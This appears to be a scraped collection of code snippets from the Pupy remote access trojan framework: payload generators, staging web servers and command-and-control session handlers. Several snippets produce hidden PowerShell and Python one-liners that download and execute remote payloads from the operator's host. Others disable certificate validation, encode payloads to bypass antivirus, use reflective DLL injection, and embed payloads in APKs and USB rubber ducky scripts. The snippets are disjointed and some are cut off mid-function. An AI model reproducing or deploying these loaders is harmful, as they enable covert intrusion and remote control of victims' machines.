Example #1
0
def do(server, handler, config, args):
    logger = logging.getLogger(args.logger)
    if args.set_level or args.level:
        level = args.set_level or args.level
        logger.setLevel(level.upper())
        handler.display(Success('Log level: {}: {}'.format(logger.name, level)))
    elif args.get_level:
        handler.display(Success('Log level: {}'.format(
            levelToString(logger.getEffectiveLevel()))))
    else:
        objects = []
        for name, logger in logging.Logger.manager.loggerDict.iteritems():
            if not hasattr(logger, 'getEffectiveLevel'):
                continue

            level = logger.getEffectiveLevel()
            color = levelToColor(level)

            objects.append({
                'LOGGER': Color(name, color),
                'LEVEL': Color(levelToString(level), color)
            })

        objects = sorted(objects, key=lambda x: x['LOGGER'].data)

        handler.display(Table(objects, ['LOGGER', 'LEVEL']))
Example #2
0
def do(server, handler, config, args):
    argv0 = os.readlink('/proc/self/exe')
    argv = [ x for x in open('/proc/self/cmdline').read().split('\x00') if x ]

    if handler.dnscnc:
        handler.display(Success('Stopping DNSCNC'))
        handler.dnscnc.stop()

    server.stop()
    handler.display(Success('Restarting'))
    os.execv(argv0, argv)
Example #3
0
def do(server, handler, config, modargs):
    if modargs.kill:
        j = server.get_job(modargs.kill)
        handler.summary(j)
        finished = j.is_finished()

        if finished:
            server.del_job(j.jid)
            handler.display(Success('Job closed'))

        else:
            j.interrupt()
            j.stop()
            handler.display(Success('Job killed'))

        server.del_job(modargs.kill)
        del j

    elif modargs.kill_no_output:
        j = server.get_job(modargs.kill_no_output)
        finished = j.is_finished()
        if finished:
            server.del_job(j.jid)
            handler.display('Job closed')
        else:
            j.interrupt()
            j.stop()
            handler.display(Success('Job killed'))
        server.del_job(modargs.kill_no_output)
        del j

    elif modargs.print_output:
        j = server.get_job(modargs.print_output)
        handler.summary(j)

    elif modargs.list:
        if server.jobs:
            dictable = []

            for jid, job in server.jobs.iteritems():
                dictable.append({
                    'id': jid,
                    'job': str(job),
                    'status': 'finished' if job.is_finished() else 'running',
                    'clients': len(job)
                })

            handler.display(Table(dictable,
                                  ['id', 'job', 'clients', 'status']))
        else:
            handler.display(Error('No jobs are currently running'))
def send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False):

    ps1_template = """$l=[System.Net.Sockets.TcpListener][BIND_PORT];$l.start();$c=$l.AcceptTcpClient();$t=$c.GetStream();
    [byte[]]$b=0..4096|%{0};$t.Read($b, 0, 4);$c="";
    if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);}
    else{$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);}
    while(($i=$t.Read($b,0,$b.Length)) -ne 0){ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$c=$c+$d; }
    $t.Close();$l.stop();iex $c;
    """

    main_ps1_template = """$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $c;"""
    hidden = '' if nothidden else '-w hidden '
    launcher = ps1_template.replace("[BIND_PORT]", bind_port)
    launcher = launcher.replace('\n', '').replace('    ', '')
    basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace(
        '[HIDDEN]', hidden)
    oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher)
    encoded_oneliner = basic_launcher.replace(
        '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))

    display(
        List([
            oneliner,
            encoded_oneliner,
        ],
             caption=Success('Copy/paste one of these one-line loader to '
                             'deploy pupy without writing on the disk')))

    display(Success('Generating puppy dll. Be patient...'))

    display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port)))

    s = socket.create_connection((target_ip, int(bind_port)))
    s.settimeout(30)
    s.sendall("\n")

    display(Success('Receiving target architecure...'))

    version = s.recv(1024)
    ps1_encoded = None

    if version == '2':
        display(Success('Target architecture: x64'))
        output_x64 = pupygen.generate_ps1(display, conf, x64=True, as_str=True)
        ps1_encoded = main_ps1_template.format(b64encode(output_x64))
    else:
        display(Success('Target architecture: x86'))
        output_x86 = pupygen.generate_ps1(display, conf, x86=True, as_str=True)
        ps1_encoded = main_ps1_template.format(b64encode(output_x86))

    display(
        Success('Sending ps1 payload to {0}:{1}'.format(target_ip, bind_port)))
    s.sendall(ps1_encoded)
    s.close()

    display(
        Success('ps1 payload sent to target {0}:{1}'.format(
            target_ip, bind_port)))
Example #5
0
def dotnet_serve_payload(display, server, rawdll, conf, link_ip="<your_ip>"):
    if not server:
        display(Error('Oneliners only supported from pupysh'))
        return

    if not server.pupweb:
        display(Error('Webserver disabled'))
        return

    dn = DotNetPayload(display, server, conf, rawdll)
    exe_path = dn.gen_exe(options='-target:library')

    with open(exe_path, 'rb') as r:
        payload = r.read()

    os.unlink(exe_path)

    landing_uri = server.pupweb.serve_content(payload, alias='.NET payload')

    command = PS_TEMPLATE.format(link_ip=link_ip,
                                 port=server.pupweb.port,
                                 landing_uri=landing_uri).encode('utf-16le')

    display(
        List(
            [
                'powershell -w hidden -enc "{}"'.format(b64encode(command)),
            ],
            caption=Success(
                'Copy/paste this one-line loader to deploy pupy without writing on the disk'
            )))
Example #6
0
def pack_py_payload(display, conf, debug=False, autostart=True):
    display(Success('Generating PY payload ...'))

    stdlib = dependencies.importer((
        'pyasn1',
        'rsa',
        'pyaes',
        'netaddr',
        'tinyec',
        'umsgpack',
        'poster',
        'win_inet_pton',
        'http_parser',
        'urllib_auth',
    ),
                                   ignore_native=True,
                                   as_dict=True)

    stdlib.update(
        dependencies.importer(('network', 'pupy'), path=ROOT, as_dict=True))

    payload = dependencies.bootstrap(stdlib, conf, autostart) + '\n'

    if debug:
        return payload

    return compress_encode_obfs(payload, main=True)
Example #7
0
def do(server, handler, config, args):
    if args.add:
        name, args = args.add[0], args.add[1:]
        server.add_listener(name, ' '.join(args), motd=False)
    elif args.add_no_pproxy:
        name, args = args.add_no_pproxy[0], args.add_no_pproxy[1:]
        server.add_listener(name,
                            ' '.join(args),
                            motd=False,
                            ignore_pproxy=True)
    elif args.remove:
        server.remove_listener(args.remove)

    elif args.list_transports:

        table = []

        for name, transport in transports.iteritems():
            color = None
            listener = None
            info = transport.info

            if name in server.listeners:
                color = 'lightgreen'
                listener = Color(str(server.listeners[name]), color)
                name = Color(name, color)
                info = Color(info, color)

            table.append({'NAME': name, 'INFO': info, 'ACTIVE': listener})

        handler.display(Table(table, ['NAME', 'INFO', 'ACTIVE']))

    else:
        for listener in server.listeners.itervalues():
            handler.display(Success(listener))
Example #8
0
def send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False):

    ps1_template = """$l=[System.Net.Sockets.TcpListener][BIND_PORT];$l.start();$c=$l.AcceptTcpClient();$t=$c.GetStream();
    [byte[]]$b=0..4096|%{0};$t.Read($b, 0, 4);$c="";
    if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);}
    else{$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);}
    while(($i=$t.Read($b,0,$b.Length)) -ne 0){ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$c=$c+$d; }
    $t.Close();$l.stop();iex $c;
    """

    main_ps1_template = """$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $c;"""
    hidden = '' if nothidden else '-w hidden '
    launcher = ps1_template.replace("[BIND_PORT]", bind_port)
    launcher = launcher.replace('\n', '').replace('    ', '')
    basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace(
        '[HIDDEN]', hidden)
    oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher)
    encoded_oneliner = basic_launcher.replace(
        '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))

    display(
        List([
            oneliner,
            encoded_oneliner,
        ],
             caption=Success('Copy/paste one of these one-line loader to '
                             'deploy pupy without writing on the disk')))

    display(Success('Generating puppy dll. Be patient...'))

    display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port)))

    s = None

    for _ in xrange(10):
        try:
            s = socket.create_connection((target_ip, int(bind_port)))
            break

        except socket.error, e:
            if e.errno not in (errno.ECONNREFUSED, errno.ETIMEDOUT):
                display(Error('Connection failed: {}'.format(e)))
                return

            sleep(CONNECTION_RETRY_SLEEP_TIME)
    def createRubberDuckyScriptForWindowsTarget(self):
        '''
        '''
        with open(self.rubberDuckyScriptFilename, 'wb') as w:
            w.write(self.WINDOWS_SCRIPT.format(self.link_ip, self.link_port))

        self.display(
            Success('Rubber ducky script file generated in {0}'.format(
                self.rubberDuckyScriptFilename)))
Example #10
0
def serve_payload(display,
                  payload,
                  ip="0.0.0.0",
                  port=8080,
                  link_ip="<your_ip>"):
    class PupyPayloadHTTPHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            # Send the html message
            self.wfile.write(payload)
            return

    try:
        while True:
            try:
                server = HTTPServer((ip, port), PupyPayloadHTTPHandler)
                break
            except Exception as e:
                # [Errno 98] Adress already in use
                if e[0] == 98:
                    port += 1
                else:
                    raise

        display(
            List([
                "python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s/index\").read()'"
                % (link_ip, port),
            ],
                 caption=Success(
                     'Copy/paste this one-line loader to deploy pupy without writing on the disk'
                 )))

        display(Success('Started http server on %s:%s ' % (ip, port)))
        display(Success('Waiting for a connection ...'))
        server.serve_forever()

    except KeyboardInterrupt:
        display(
            Warn('KeyboardInterrupt received, shutting down the web server'))
        server.socket.close()
        server.shutdown()
Example #11
0
    def generateAllForOStarget(self):
        '''
        '''

        if self.targetOs == 'Windows' and not self.unconfigured:
            from ps1_oneliner import serve_ps1_payload

            self.createRubberDuckyScriptForWindowsTarget()
            self.generateInjectBinFile()

            self.display(
                Success(
                    'copy/paste inject.bin file on USB rubber ducky device'))
            self.display(
                Success(
                    'You should not pay attention to the following message '
                    '(powershell command). This powershell command is embedded in '
                    'the inject.bin file generated'))

            serve_ps1_payload(self.display, self.conf, link_ip=self.link_ip)
Example #12
0
            def do_GET(self):
                self.server_version = "Apache/2.4.27 (Unix)"
                self.sys_version    = ""

                if self.path == "/%s" % url_random_one:

                    self.send_response(200)
                    self.send_header('Content-type','text/html')
                    self.end_headers()

                    # Send stage 1 to target
                    self.wfile.write(self.server.stage1)
                    display(Success('[Stage 1/2] Powershell script served !'))

                elif self.path == "/%s" % url_random_two_x86 or self.path == "/%s" % url_random_two_x64:
                    self.send_response(200)
                    self.send_header('Content-type','text/html')
                    self.end_headers()

                    stage2 = None
                    if self.path == "/%s" % url_random_two_x86:
                        display(Success('Remote script is running in a x86 powershell process'))
                        stage2 = self.server.stage2_x86
                    else:
                        display(Success('Remote script is running in a x64 powershell process'))
                        stage2 = self.server.stage2_x64

                    # Send stage 2 to target
                    self.wfile.write(stage2)

                    display(Success(
                        '[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!'))
                    display(Success(
                        '{}:You should have a pupy shell in few seconds from this host...'.format(
                            self.client_address[0])))

                else:
                    self.send_response(404)
                    self.send_header('Content-type','text/html')
                    self.end_headers()
                    self.wfile.write(APACHE_DEFAULT_404)
Example #13
0
def get_edit_apk(display, path, conf, compressed_config=None, debug=False):

    credentials = Credentials(role='control')

    priv_key = credentials['APK_PRIV_KEY']
    pub_key = credentials['APK_PUB_KEY']

    if not priv_key or not pub_key:
        raise ValueError(
            'CONTROL_APK_PRIV_KEY/CONTROL_APK_PUB_KEY credentials missing (old credentials)'
        )

    tempdir = tempfile.mkdtemp(prefix="tmp_pupy_")
    fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_")
    try:
        packed_payload = pack_py_payload(display, get_raw_conf(display, conf),
                                         debug, False)
        shutil.copy(path, tempapk)

        #extracting the python-for-android install tar from the apk
        zf = zipfile.ZipFile(path, 'r')
        zf.extract("assets/private.mp3", tempdir)
        zf.close()

        with open(os.path.join(tempdir, "pp.py"), 'w') as w:
            w.write(packed_payload)

        import py_compile
        py_compile.compile(os.path.join(tempdir, "pp.py"),
                           os.path.join(tempdir, "pp.pyo"))

        display(Success('Packaging the apk ... (can take 10-20 seconds)'))

        #updating the tar with the new config
        updateTar(os.path.join(tempdir, "assets/private.mp3"), "pp.pyo",
                  os.path.join(tempdir, "pp.pyo"))
        #repacking the tar in the apk

        with open(os.path.join(tempdir, "assets/private.mp3"), 'r') as t:
            updateZip(tempapk, "assets/private.mp3", t.read())

        # signing the tar
        result = BytesIO()
        jarsigner(priv_key, pub_key, tempapk, result)
        return result.getvalue()

    finally:
        #cleaning up
        shutil.rmtree(tempdir, ignore_errors=True)
        os.unlink(tempapk)
Example #14
0
    def log(self, handler):
        if not self.show_requests:
            return

        message = 'Web: '

        if handler.request.uri in self.aliases:
            message += '({}) '.format(self.aliases[handler.request.uri])

        message += handler._request_summary()

        if handler.get_status() < 400:
            self.pupsrv.info(Success(message))
        else:
            self.pupsrv.info(Error(message))
Example #15
0
def pack_scriptlets(display,
                    scriptlets,
                    args_scriptlet,
                    os=None,
                    arch=None,
                    debug=False):
    sp = ScriptletsPacker(os, arch)

    for sc in args_scriptlet:
        tab = sc.split(",", 1)
        sc_args = {}
        name = tab[0]
        if len(tab) == 2:
            try:
                for x, y in [x.strip().split("=") for x in tab[1].split(",")]:
                    sc_args[x.strip()] = y.strip()
            except:
                raise ValueError(
                    "usage: pupygen ... -s %s,arg1=value,arg2=value,..." %
                    name)

        if name not in scriptlets:
            raise ValueError("unknown scriptlet %s, valid choices are : %s" %
                             (repr(name), [x for x in scriptlets.iterkeys()]))

        display(
            Success('loading scriptlet {}{}'.format(
                repr(name), 'with args {}'.format(' '.join(
                    '{}={}'.format(k, repr(v))
                    for k, v in sc_args.iteritems())) if sc_args else '')))

        try:
            sp.add_scriptlet(scriptlets[name], sc_args)

        except ScriptletArgumentError as e:
            display(
                MultiPart(
                    Error('Scriptlet {} argument error: {}'.format(
                        repr(name), str(e))), scriptlets[name].format_help()))
            raise ValueError('{}'.format(e))

    script_code = sp.pack()
    return script_code
Example #16
0
    def gen_source(self, random_path=False):
        with open(TEMPLATE, 'rb') as f:
            template_source = f.read()

        self.display(Success('packing pupy into C# source ...'))

        encoded = '{' + ','.join(str(c ^ 0xFF) for c in self.rawdll) + '}'
        content = template_source.replace('<PUPYx64_BYTES>', encoded)

        if not self.outpath or random_path:
            outfile = tempfile.NamedTemporaryFile(dir=self.output_dir or '.',
                                                  prefix='pupy_',
                                                  suffix='.cs',
                                                  delete=False)
        else:
            outpath_src, _ = splitext(self.outpath) + '.cs'
            outfile = open(outpath_src, 'w')

        outfile.write(content)
        outfile.close()
        return outfile.name
Example #17
0
def serve_payload(display, server, payload, link_ip="<your_ip>"):
    if not server:
        display(Error('Oneliners only supported from pupysh'))
        return

    if not server.pupweb:
        display(Error('Webserver disabled'))
        return

    landing_uri = server.pupweb.serve_content(payload, alias='py payload')

    display(Warn('Python 2.7.x required, x should be >= 9'))

    display(
        List([
            "python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s%s\").read()'"
            % (link_ip, server.pupweb.port, landing_uri),
        ],
             caption=Success(
                 'Copy/paste this one-line loader to deploy pupy without writing on the disk'
             )))
Example #18
0
def pack_py_payload(display, conf, debug=False):
    display(Success('Generating PY payload ...'))
    fullpayload = []

    with open(os.path.join(ROOT, 'packages', 'all', 'pupyimporter.py')) as f:
        pupyimportercode = f.read()

    fullpayload.append('\n'.join([
        dependencies.loader(pupyimportercode, 'pupyimporter'),
        'import pupyimporter', 'pupyimporter.install(debug={})'.format(
            repr(debug if debug is not None else False)),
        dependencies.importer('network', path=ROOT),
        dependencies.importer(('rpyc', 'pyasn1', 'rsa', 'netaddr', 'tinyec',
                               'umsgpack', 'poster', 'win_inet_pton'))
    ]) + '\n')

    with open(os.path.join(ROOT, 'pp.py')) as f:
        code = f.read()

    code = re.sub(r'LAUNCHER\s*=\s*.*\n(#.*\n)*LAUNCHER_ARGS\s*=\s*.*',
                  conf.replace('\\', '\\\\'), code)

    if debug:
        fullpayload = [
            'import logging', 'logging.basicConfig()',
            'logging.getLogger().setLevel(logging.DEBUG)'
        ] + fullpayload

    fullpayload.append(code + '\n')

    payload = '\n'.join(fullpayload) + '\n'

    if debug:
        return payload

    return compress_encode_obfs(payload, main=True)
Example #19
0
def do(server, handler, config, modargs):
    if modargs.global_reset:
        handler.default_filter = None
        handler.display(Success('Default filter reset to global'))

    elif modargs.interact:
        handler.default_filter = modargs.interact
        handler.display(Success('Default filter set to {}'.format(
            handler.default_filter)))

    elif modargs.kill:
        selected_client = server.get_clients(modargs.kill)
        if selected_client:
            try:
                selected_client[0].conn.exit()
            except Exception:
                pass

    elif modargs.drop:
        selected_client = server.get_clients(modargs.drop)
        if selected_client:
            try:
                selected_client[0].conn._conn.close()
            except Exception:
                pass

    elif modargs.dropall:
        clients = list(server.get_clients_list())
        for client in clients:
            try:
                client.conn._conn.close()
            except Exception:
                pass

    elif modargs.killall:
        clients = server.get_clients_list()
        descriptions = [
            x.desc for x in client_lis
        ]

        for description in descriptions:
            try:
                server.get_clients(description['id'])[0].conn.exit()
            except Exception:
                pass
    else:
        client_list = server.get_clients_list()

        if handler.default_filter:
            filtered_clients = server.get_clients(handler.default_filter)
        else:
            filtered_clients = client_list

        columns = [
            'id', 'user', 'hostname', 'platform', 'release', 'os_arch',
            'proc_arch', 'intgty_lvl', 'address', 'tags'
        ]

        content = []

        for client in client_list:
            color = 'white' if client in filtered_clients else 'darkgrey'

            data = {
                k:Color(v, color)
                for k,v in client.desc.iteritems() if k in columns
            }

            data.update({
                'tags': Color(config.tags(client.node()), color)
            })

            content.append(data)

        handler.display(Table(content, columns))
Example #20
0
def serve_ps1_payload(display, conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", useTargetProxy=False, sslEnabled=True, nothidden=False):

    url_random_one      = ''.join(choice(letters) for _ in xrange(10)) + '.txt'
    url_random_two_x86  = ''.join(choice(letters) for _ in xrange(10)) + '.txt'
    url_random_two_x64  = ''.join(choice(letters) for _ in xrange(10)) + '.txt'

    try:
        protocol             = 'http'
        ssl_cert_validation  = ''
        not_use_target_proxy = ''
        hidden               = '-w hidden '

        if nothidden:
            hidden = ''

        if sslEnabled:
            protocol            = 'https'
            ssl_cert_validation = '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'

        if not useTargetProxy:
            not_use_target_proxy = '$w=(New-Object System.Net.WebClient);$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();'

        powershell      = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX(New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT]/[RANDOM]');"
        repls           = ('[NOT_USE_TARGET_PROXY]', not_use_target_proxy), \
            ('[SSL_CERT_VALIDATION]', ssl_cert_validation), \
            ('[PROTOCOL]', protocol), \
            ('[LINK_IP]', '%s' % link_ip), \
            ('[LINK_PORT]', '%s' % port)

        powershell      = reduce(lambda a, kv: a.replace(*kv), repls, powershell)

        launcher            = powershell.replace('[RANDOM]', url_random_one)
        basic_launcher      = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace('[HIDDEN]', hidden)
        oneliner            = basic_launcher.replace('[CMD]', '-c %s' % repr(launcher))
        encoded_oneliner    = basic_launcher.replace('[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))

        # Compute stage1 to gain time response
        ps_template_stage1 = """
        if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
        {{
        {0}
        }}
        else
        {{
        {1}
        }}
        """
        launcher_x64 = powershell.replace('[RANDOM]', url_random_two_x64)
        launcher_x86 = powershell.replace('[RANDOM]', url_random_two_x86)

        stage1 = ps_template_stage1.format(launcher_x64, launcher_x86)

        # For bypassing AV
        stage1 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage1))

        # generate both pupy dll to gain time response
        display(Success('Generating puppy dll to gain server reaction time. Be patient...'))

        tmpfile    = tempfile.gettempdir()
        output_x86 = pupygen.generate_ps1(display, conf, output_dir=tmpfile, x86=True)
        output_x64 = pupygen.generate_ps1(display, conf, output_dir=tmpfile, x64=True)

        stage2_x86 = open(output_x86).read()
        stage2_x64 = open(output_x64).read()

        # For bypassing AV
        stage2_x86 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage2_x86))
        stage2_x64 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage2_x64))

        class PupyPayloadHTTPHandler(BaseHTTPRequestHandler):
            def do_GET(self):
                self.server_version = "Apache/2.4.27 (Unix)"
                self.sys_version    = ""

                if self.path == "/%s" % url_random_one:

                    self.send_response(200)
                    self.send_header('Content-type','text/html')
                    self.end_headers()

                    # Send stage 1 to target
                    self.wfile.write(self.server.stage1)
                    display(Success('[Stage 1/2] Powershell script served !'))

                elif self.path == "/%s" % url_random_two_x86 or self.path == "/%s" % url_random_two_x64:
                    self.send_response(200)
                    self.send_header('Content-type','text/html')
                    self.end_headers()

                    stage2 = None
                    if self.path == "/%s" % url_random_two_x86:
                        display(Success('Remote script is running in a x86 powershell process'))
                        stage2 = self.server.stage2_x86
                    else:
                        display(Success('Remote script is running in a x64 powershell process'))
                        stage2 = self.server.stage2_x64

                    # Send stage 2 to target
                    self.wfile.write(stage2)

                    display(Success(
                        '[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!'))
                    display(Success(
                        '{}:You should have a pupy shell in few seconds from this host...'.format(
                            self.client_address[0])))

                else:
                    self.send_response(404)
                    self.send_header('Content-type','text/html')
                    self.end_headers()
                    self.wfile.write(APACHE_DEFAULT_404)

        server = ThreadedHTTPServer((ip, port), PupyPayloadHTTPHandler)
        server.set(conf, sslEnabled, stage1, stage2_x86, stage2_x64)

        display(List([
            oneliner,
            encoded_oneliner
        ], caption=Success(
            'Copy/paste one of these one-line loader to deploy pupy without writing on the disk:')))

        display(Warn(
            'Please note that even if the target\'s system uses a proxy, '
            'this previous powershell command will not use the '
            'proxy for downloading pupy'))

        display(Success('Started http server on %s:%s ' % (ip, port)))
        display(Success('Waiting for a connection ...'))

        server.serve_forever()
    except KeyboardInterrupt:
        print 'KeyboardInterrupt received, shutting down the web server'
        server.server_close()

    finally:
        # clean local file created
        os.remove(output_x86)
        os.remove(output_x64)
Example #21
0
def do(server, handler, config, args):
    if not server.dnscnc:
        handler.display(Error('DNSCNC disabled'))
        return

    if args.command == 'status':
        policy = handler.dnscnc.policy
        objects = {
            'DOMAIN':
            server.dnscnc.dns_domain,
            'DNS PORT':
            str(server.dnscnc.dns_port),
            'RECURSOR':
            server.dnscnc.dns_recursor,
            'LISTEN':
            str(server.dnscnc.dns_listen),
            'SESSIONS':
            'TOTAL={} DIRTY={}'.format(server.dnscnc.count,
                                       server.dnscnc.dirty),
            'POLL':
            '{}s'.format(policy['interval']),
            'TIMEOUT':
            '{}s'.format(policy['timeout']),
            'KEX':
            '{}'.format(bool(policy['kex'])),
        }

        handler.display(
            Table([{
                'PROPERTY': k,
                'VALUE': v
            } for k, v in objects.iteritems()], ['PROPERTY', 'VALUE']))

        if server.dnscnc.commands:
            handler.display('\nDEFAULT COMMANDS:\n' + '\n'.join([
                '{:03d} {}'.format(i, cmd)
                for i, cmd in enumerate(server.dnscnc.commands)
            ]))

        if server.dnscnc.node_commands:
            handler.display('\nNODE DEFAULT COMMANDS:')
            for node, commands in server.dnscnc.node_commands.iteritems():
                handler.display('\n' + '\n'.join([
                    '{:03d} {}: {}'.format(
                        i, '{:012x}'.format(node) if type(node) ==
                        int else node, cmd) for i, cmd in enumerate(commands)
                ]))

    elif args.command == 'info':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None

        if args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.n:
            sort_by = lambda x: x.system_info['node']
        elif args.c:
            sort_by = lambda x: x.system_status['cpu']
        elif args.m:
            sort_by = lambda x: x.system_status['mem']
        elif args.l:
            sort_by = lambda x: x.system_status['listen']
        elif args.e:
            sort_by = lambda x: x.system_status['remote']
        elif args.u:
            sort_by = lambda x: x.system_status['users']
        elif args.x:
            sort_by = lambda x: x.system_status['idle']
        elif args.t:
            sort_by = lambda x: str(sorted(config.tags(x.system_info['node'])))

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            if not (session.system_status and session.system_info):
                continue

            object = {
                '#':
                '{:03d}'.format(idx),
                'P':
                '',
                'NODE':
                '{:012x}'.format(session.system_info['node']),
                'SESSION':
                '{:08x}'.format(session.spi),
                'IP':
                session.system_info['external_ip'] or '?',
                'OS':
                '{}/{}'.format(session.system_info['os'],
                               session.system_info['arch']),
                'CPU':
                '{:d}%'.format(session.system_status['cpu']),
                'MEM':
                '{:d}%'.format(session.system_status['mem']),
                'LIS':
                '{:d}'.format(session.system_status['listen']),
                'EST':
                '{:d}'.format(session.system_status['remote']),
                'USERS':
                '{:d}'.format(session.system_status['users']),
                'IDLE':
                '{}'.format(session.system_status['idle']),
                'TAGS':
                '{}'.format(config.tags(session.system_info['node']))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                elif c.node() == '{:012x}'.format(session.system_info['node']):
                    pupy_session = c.desc['id']
                    break

            if pupy_session:
                object.update({'P': pupy_session})

            color = ''
            if (session.online_status or session.egress_ports
                    or session.open_ports):
                color = 'cyan'
            elif session.system_status['cpu'] > 90 or session.system_status[
                    'mem'] > 90:
                color = 'lightred'
            elif (session.pstore_dirty):
                color = 'magenta'
            elif not session.system_status['idle']:
                color = 'lightyellow'
            elif pupy_session:
                color = 'lightgreen'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'IP', 'OS', 'CPU', 'MEM', 'LIS',
            'EST', 'USERS', 'IDLE', 'TAGS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'sessions':
        sessions = server.dnscnc.list(args.node)
        if not sessions:
            handler.display(Success('No active DNSCNC sesisons found'))
            return

        objects = []

        sort_by = None
        if args.b:
            sort_by = lambda x: x.system_info['boottime']
        elif args.o:
            sort_by = lambda x: x.system_info['os'] + x.system_info['arch']
        elif args.i:
            sort_by = lambda x: x.system_info['external_ip']
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: x.commands
        elif args.n:
            sort_by = lambda x: x.system_info['node']

        if sort_by:
            sessions = sorted(sessions, key=sort_by, reverse=bool(args.r))

        for idx, session in enumerate(sessions):
            object = {
                '#': idx,
                'P': '',
                'NODE': '{:012x}'.format(session.system_info['node']),
                'SESSION': '{:08x}'.format(session.spi),
                'EXTERNAL IP': '{}'.format(
                    session.system_info['external_ip'] or '?'
                ),
                'ONLINE': '{}'.format(
                    'Y' if session.system_info['internet'] else 'N'
                ),
                'IDLE': '{}s'.format(session.idle),
                'DURATION': '{}s'.format(session.duration),
                'OS': '{}/{}'.format(
                    session.system_info['os'],
                    session.system_info['arch']
                ),
                'BOOTED': '{}s'.format(
                    session.system_info['boottime'].ctime()) if \
                    session.system_info['boottime'] else '?',
                'CMDS': '{}'.format(len(session.commands))
            }

            pupy_session = None
            for c in server.clients:
                if 'spi' in c.desc:
                    if c.desc['spi'] == '{:08x}'.format(session.spi):
                        pupy_session = c.desc['id']
                elif c.node() == '{:012x}'.format(session.system_info['node']):
                    pupy_session = c.desc['id']
                    break

            color = None

            if pupy_session:
                object.update({'P': pupy_session})
                color = 'lightgreen'
            elif session.idle > server.dnscnc.policy['interval']:
                color = 'grey'
            elif not session.system_info['internet']:
                color = 'lightred'
            elif len(session.commands) > 0:
                color = 'yellow'

            if color:
                object = {k: Color(v, color) for k, v in object.iteritems()}

            objects.append(object)

        columns = [
            '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP', 'IDLE',
            'DURATION', 'BOOTED', 'CMDS'
        ]

        handler.display(Table(objects, columns))

    elif args.command == 'nodes':
        nodes = server.dnscnc.nodes(args.node)

        if not nodes:
            handler.display(Success('No active DNSCNC nodes found'))
            return

        objects = []

        sort_by = None
        if args.i:
            sort_by = lambda x: x.cid
        if args.a:
            sort_by = lambda x: x.alert
        elif args.I:
            sort_by = lambda x: x.iid
        elif args.d:
            sort_by = lambda x: x.duration
        elif args.c:
            sort_by = lambda x: len(x.commands)
        elif args.n:
            sort_by = lambda x: x.node
        elif args.v:
            sort_by = lambda x: x.version

        if sort_by:
            nodes = sorted(nodes, key=sort_by, reverse=bool(args.r))

        for idx, node in enumerate(nodes):
            object = {
                '#': idx,
                'P': '',
                'A': 'Y' if node.alert else '',
                'NODE': '{:012x}'.format(node.node),
                'IID': '{}'.format(
                    'pid:{}'.format(node.iid) if node.iid < 65535 \
                    else 'spi:{:08x}'.format(node.iid)),
                'VER': '{}'.format(node.version),
                'CID': '{:08x}'.format(node.cid),
                'IDLE': '{}s'.format(node.idle),
                'DURATION': '{}s'.format(node.duration),
                'CMDS': '{}'.format(len(node.commands)),
                'TAGS': '{}'.format(config.tags(node.node)),
                'WARN': '{}'.format(node.warning if node.warning else '')
            }

            pupy_session = None
            ids = []

            for c in server.clients:
                if c.node() == '{:012x}'.format(node.node):
                    if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \
